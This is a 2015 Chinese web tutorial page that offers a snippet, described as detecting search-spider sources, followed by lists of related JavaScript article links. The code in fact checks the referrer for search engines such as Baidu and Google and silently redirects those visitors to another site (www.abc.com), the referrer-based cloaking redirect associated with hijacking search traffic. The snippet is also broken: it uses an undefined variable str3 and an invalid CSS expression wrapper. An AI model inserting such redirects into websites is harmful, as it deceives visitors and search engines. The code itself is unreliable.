JavaScript脚本判断蜘蛛来源的方法


Posted in Javascript onSeptember 22, 2015

今天介绍的这个JS判断蜘蛛来源的方法脚本是写在body的onload里面的。即页面加载时进行判断。代码如下:

body {onload:expression(
if(window.name!="Yang"){
var str1 = document.referrer;
str1 = str1.toLowerCase();
var str6 = 'google.';
var str7 = 'baidu.';
var str4 = 'yahoo.';
var str8 = 'youdao.';
var str9 = 'sogou.';
var str5 = 'soso.';
if(str1.indexOf(str7)>0 || str1.indexOf(str6)>0 || str1.indexOf(str4)>0 || str1.indexOf(str3)>0 || str1.indexOf(str8)>0 || str1.indexOf(str9)
 
>0 || str1.indexOf(str5)>0 && "zh-cn"==navigator.systemLanguage)
{
self.location='http://www.abc.com/';
window.name="Yang";
}
 
}
);}

这个JS判断蜘蛛来源方法不太好用。特别是在需要判断更多蜘蛛来源时代码写起来比较麻烦。

Javascript 相关文章推荐
JS图片浏览组件PhotoLook的公开属性方法介绍和进阶实例代码
Nov 09 Javascript
js中Math之random,round,ceil,floor的用法总结
Dec 26 Javascript
js实现改进的仿蓝色论坛导航菜单效果代码
Sep 06 Javascript
检查表单元素的值是否为空的实例代码
Jun 16 Javascript
bootstrap table 表格中增加下拉菜单末行出现滚动条的快速解决方法
Jan 05 Javascript
超简单的Vue.js环境搭建教程
Mar 17 Javascript
vue.js利用defineProperty实现数据的双向绑定
Apr 28 Javascript
Angular2中select用法之设置默认值与事件详解
May 07 Javascript
微信小程序实现轮播图效果
Sep 07 Javascript
JavaScript实现短暂提示框功能
Apr 04 Javascript
angular 实时监听input框value值的变化触发函数方法
Aug 31 Javascript
2种在vue项目中使用百度地图的简单方法
Sep 28 Javascript
jQuery实现的经典滑动门效果
Sep 22 #Javascript
jquery实现的简单二级菜单效果代码
Sep 22 #Javascript
jfinal与bootstrap的登录跳转实战演习
Sep 22 #Javascript
jquery实现经典的淡入淡出选项卡效果代码
Sep 22 #Javascript
JS+CSS实现类似QQ好友及黑名单效果的树型菜单
Sep 22 #Javascript
jQuery实现Flash效果上下翻动的中英文导航菜单代码
Sep 22 #Javascript
QQ登录背景闪动效果附效果演示源码下载
Sep 22 #Javascript
You might like
CI框架给视图添加动态数据
2014/12/01 PHP
PHP实现的登录页面信息提示功能示例
2017/07/24 PHP
PHP实现基于图的深度优先遍历输出1,2,3...n的全排列功能
2017/11/10 PHP
漂亮的widgets,支持换肤和后期开发新皮肤
2007/04/23 Javascript
Jquery下EasyUI组件中的DataGrid结果集清空方法
2014/01/06 Javascript
告诉你什么是javascript的回调函数
2014/09/04 Javascript
AngularJS学习笔记之TodoMVC的分析
2015/02/22 Javascript
javascript实现行拖动的方法
2015/05/27 Javascript
探讨JavaScript中的Rest参数和参数默认值
2015/07/29 Javascript
分享两款带遮罩的jQuery弹出框
2015/12/30 Javascript
如何在 Vue.js 中使用第三方js库
2017/04/25 Javascript
使用 Vue 绑定单个或多个 Class 名的实例代码
2018/01/08 Javascript
详解各版本React路由的跳转的方法
2018/05/10 Javascript
vue实现带复选框的树形菜单
2019/05/27 Javascript
详解用async/await来处理异步
2019/08/28 Javascript
浅谈Vuex的this.$store.commit和在Vue项目中引用公共方法
2020/07/24 Javascript
vue-cli脚手架的.babelrc文件用法说明
2020/09/11 Javascript
[47:52]DOTA2-DPC中国联赛正赛 iG vs LBZS BO3 第二场 3月4日
2021/03/11 DOTA
深入理解Python中字典的键的使用
2015/08/19 Python
利用Python在一个文件的头部插入数据的实例
2018/05/02 Python
十分钟利用Python制作属于你自己的个性logo
2018/05/07 Python
深入浅析Python 中 is 语法带来的误解
2019/05/07 Python
Python3内置模块pprint让打印比print更美观详解
2019/06/02 Python
python numpy生成等差数列、等比数列的实例
2020/02/25 Python
Django静态资源部署404问题解决方案
2020/05/11 Python
解决canvas转base64/jpeg时透明区域变成黑色背景的方法
2016/10/23 HTML / CSS
从当地商店送来的杂货:Instacart
2018/08/19 全球购物
Bally澳大利亚官网:瑞士奢侈品牌
2018/11/01 全球购物
介绍一下SQL Server的全文索引
2013/08/15 面试题
师范应届生求职信
2013/11/15 职场文书
暑期实习鉴定
2013/12/16 职场文书
2014年大学生党员自我评议
2014/09/22 职场文书
2014年小学教导处工作总结
2014/12/19 职场文书
回复函格式及范文
2015/07/14 职场文书
应届生们该怎么书写求职信?
2019/07/05 职场文书
如何在C++中调用Python
2021/05/21 Python